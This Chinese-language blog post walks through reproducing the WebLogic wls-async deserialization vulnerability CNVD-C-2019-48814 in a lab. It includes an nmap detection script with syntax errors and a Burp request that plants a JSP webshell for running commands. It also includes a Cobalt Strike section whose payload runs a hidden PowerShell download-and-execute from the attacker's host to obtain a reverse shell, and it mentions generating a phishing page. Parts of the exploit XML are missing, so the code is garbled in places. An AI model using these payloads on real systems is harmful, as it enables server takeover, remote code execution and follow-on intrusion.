WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程

WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)漏洞复现

  • WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)
    • 0x01 weblogic简介
    • 0x02漏洞简介
    • 0x03 影响的系统
    • 0x04 复现过程
      • 1. 复现环境及搭建过程
        • 1)靶机安装jdk
        • 2) 靶机搭建weblogic
      • 2. 漏洞利用
    • 0x05 cobaltstrike的利用

WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)

0x01 weblogic简介

WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java(J2EE)应用服
务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器,当前已推
出到12c(12.1.1)版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间
件(但当前Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业
包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

WebLogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。是商业市场上主要的Java(J2EE)应用服务器软件(Application Server)之一,是世界上第一个成功商业化的J2EE应用服务器,具有可扩展性,快速开发,灵活,可靠性等优势。

根据FOFA的数据统计,全球共有23024个开放的weblogic服务。其中美国最多,有129583个开放服务。其次是中国,有28772个开放的weblogic服务。德国排第三,有22352个开放的weblogic服务。新加坡有18473个开放的weblogic服务。英国有15980个开放的weblogic服务。

国内的weblogic服务分布如下,北京最多,有6824个服务,浙江有4805个服务,山东有985个服务,广东有801个服务,上海有778个服务。

0x02漏洞简介

CNVD-C-2019-48814漏洞主要是利用了WebLogic中的wls9-async组件,攻击者可以在

/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列

化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。

0x03 影响的系统

Oracle WebLogic Server10.3.6.0.0
Oracle WebLogic Server12.1.3.0.0
Oracle WebLogic Server12.2.1.1.0
Oracle WebLogic Server12.2.1.2.0

复现过程选用Oracle WebLogic Server12.1.3.0.0,12.2.1.3.0及以上版本对该漏洞进行了修复

0x04 复现过程

1. 复现环境及搭建过程

复现过程基于内网环境

靶机:windows server 2008 R2: 搭建weblogic服务器
攻击机:kali2.0:IP192.168.15.176

1)靶机安装jdk

jdk版本选择1.8版本:直接下载:jdk-8u171-windows-x64.exe,双击运行即可,安装时注意注意路径问题,安装完成后,配置环境变量,非常简单;

测试:打开cmd
	java  -version
	javac -version
	
出现版本及安装成功,否则很可能是环境变量出现了问题,重新检查

WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第1张图片

2) 靶机搭建weblogic

坑很多,该掉进入的一个都没少,一定要有耐心
1.下载安装包:fmw_12.1.3.0.0_wls.jar,并把安装包放在jdk的bin目录下:
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第2张图片
2.进入fmw_12.1.3.0.0_wls.jar所在的目录,shift+鼠标右键,打开powershell:通过java运行安装:java -jar fmw_12.1.3.0.0_wls.jar

弹出安装过程直接下一步即可,除了路径外其他默认即可,当然路径也可以选择默认

WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第3张图片

3.运行完jar包后,会弹出weblogic的安装向导,这里只是为了复现漏洞,一路狂奔,全部默认即可;安装完成后找到安装路径:若是默认的则为C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第4张图片
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第5张图片
4. 服务器开始运行
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第6张图片
5. 访问服务器:访问URL:http://192.168.15.89:7001/console,自动弹到登录页面,说明服务器搭建成功;
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第7张图片
6. 查看服务器是否存在漏洞:直接访问:http://192.168.15.89:7001/_async/AsyncResponseService,若出现以下页面说明存在漏洞,否则很可能是版本更新,漏洞已修复,或者安装出现问题。
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第8张图片
7. 也可以通过nmap扫描确定是否存在漏洞,若是kali系统需要添加脚本 :weblogic-CNVD-C-2019-48814.nse,将以下代码保存为weblogic-CNVD-C-2019-48814.nse,拷贝至卡里:/uer/share/nmap/script目录下

	local http = require "http"
	local nmap = require "nmap"
	local stdnse = require "stdnse"
	local vulns = require "vulns"
	description = [[
	Weblogic CNVD-C-2019-48814
	]]
	---
	-- @usage
	-- nmap -sV --script weblogic-CNVD-C-2019-48814  -p 7001
	-- nmap -sV --script weblogic-CNVD-C-2019-48814
	--
	-- @output
	-- PORT     STATE SERVICE
	-- 7001/tcp open  afs3-callback
	-- | weblogic-CNVD-C-2019-48814:
	-- |   VULNERABLE:
	-- |   Oracle WebLogic wls9-async Deserialization Remote Command Execution Vulnerability
	-- |     State: VULNERABLE
	-- |     IDs:  1:CNVD-C-2019-48814  CVE:CVE-2019-???
	-- |     Risk factor: High  CVSSv3: ???
	-- |
	-- |     Disclosure date: 2019-04-17
	-- |     References:
	-- |       http://www.cnvd.org.cn/webinfo/show/4989
	-- |       http://www.cnvd.org.cn/webinfo/show/4999
	-- |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-????
	author = "Rvn0xsy "
	l	icense = "Same as Nmap--See https://nmap.org/book/man-legal.html"
	categories = {"vuln"}
	blog = "https://payloads.online"
	portrule = function(host,port)
	--	if(port.number == 7001)then
	--		return true
	--	end
	--	return false
		return true
	end
	action = function(host,port)
	 local vuln_table = {
    title ="Oracle WebLogic wls9-async Deserialization Remote Command Execution Vulnerability",
    IDS = {CVE = 'CVE-2019-????','CNVD-C-2019-48814'},
    risk_factor = "High",
    scores = {
      CVSSv3 = "???",
    },
    description = [[]],
    references = {
        'http://www.cnvd.org.cn/webinfo/show/4989',
        'http://www.cnvd.org.cn/webinfo/show/4999',
    },
    dates = {
      disclosure = {year = '2019', month = '04', day = '17'},
    },
    check_results = {},
    extra_info = {}
  	}
    local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
    vuln_table.state = vulns.STATE.NOT_VULN
    path = "/_async/AsyncResponseService"
    local result = http.get(host,port,path)
    local status = stdnse.output_table()
	if(result.status = =  200)then  //代码“= =”表示判断相等,注意修改
        if(string.find(result.body,"async")  == nil)then
            local status = stdnse.output_table()
            status.Vuln = "False"
            return status
        end
        options = {}
        options['header'] = {}
        options['header']['Content-Type'] = 'text/xml'
        local payload = "\n\nxxxx\n\n\n\n\n\n\n\n\n\n\n\n"
        local response = http.post(host,port,path,options,nil,payload)
        if(response.status == 202)then
            vuln_table.state = vulns.STATE.VULN
            return vuln_report:make_output(vuln_table)
        end
	end
    return vuln_report:make_output(vuln_table)
	end
8. nmap扫描漏洞:nmap:nmap --script=weblogic-CNVD-C-2019-48814.nse 192.168.15.89

WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第9张图片

2. 漏洞利用

  1. 启动burpsuit设置代理拦截:http://192.168.15.89:7001/_async/AsyncResponseService

WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第10张图片
2. 右键发送至repeater
在默认的raw中追加以下脚本,并修改请求方法为:POST(右键:change request method)

	
	xxxx
	
	
	
	servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp
	");          
	while((a=in.read(b))!=-1){
	out.println(new String(b));          
	}
	out.print("");
}
%>]]>

WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第11张图片
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第12张图片
3. 点击go开始请求,当出现右面的响应说明漏洞上传成功,我们的webshell.jsp已经上传完毕
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第13张图片
4. 漏洞利用,通过webshell探索用户及系统信息等:

访问:http://192.168.15.89:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami
获取用户,这里通过传输cmd命令,查询信息

WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第14张图片
已成功利用weblogic反序列化漏洞获取服务器的信息

0x05 cobaltstrike的利用

在window是系统下的利用,他更多地利用在linux系统中,两种版本均支持,只是开启的命令略有不同:
**1.**开启cobaltstrike服务器:(需要用管理员权限运行cmd)

命令:teamserver 192.168.15.252 123456  //服务器ip         密码

WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第15张图片
**2.**开启客户端,连接服务端,直接打开cobaltstrike.bat

输入服务器IP地址和密码123456,用户名随便给,端口为服务器使用的端口

WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第16张图片
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第17张图片
3. 开启监听,设置监听的名字、加载payload、绑定监听的ip地址和端口号
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第18张图片
**4.**生成钓鱼网站脚本
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第19张图片
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第20张图片
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第21张图片
在这里插入图片描述
5. 构造脚本反弹shell:

将4.中的链接加载到脚本中,加载到十六行的< string>中

	   
	 
	xx
	xx
	
	
	
	
	cmd
	
	
	/c
	
	
	powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.15.252:80/a'))"
	
	
	
	
	
	
	
	

6. burpsuit抓包,上传5.中的脚本
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第22张图片
7. 上传脚本,点击go后,cobaltstrike里面得到反弹的shell
WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程_第23张图片
**8.**获取shell后便可进行后续的提权等操作。

你可能感兴趣的:(复现)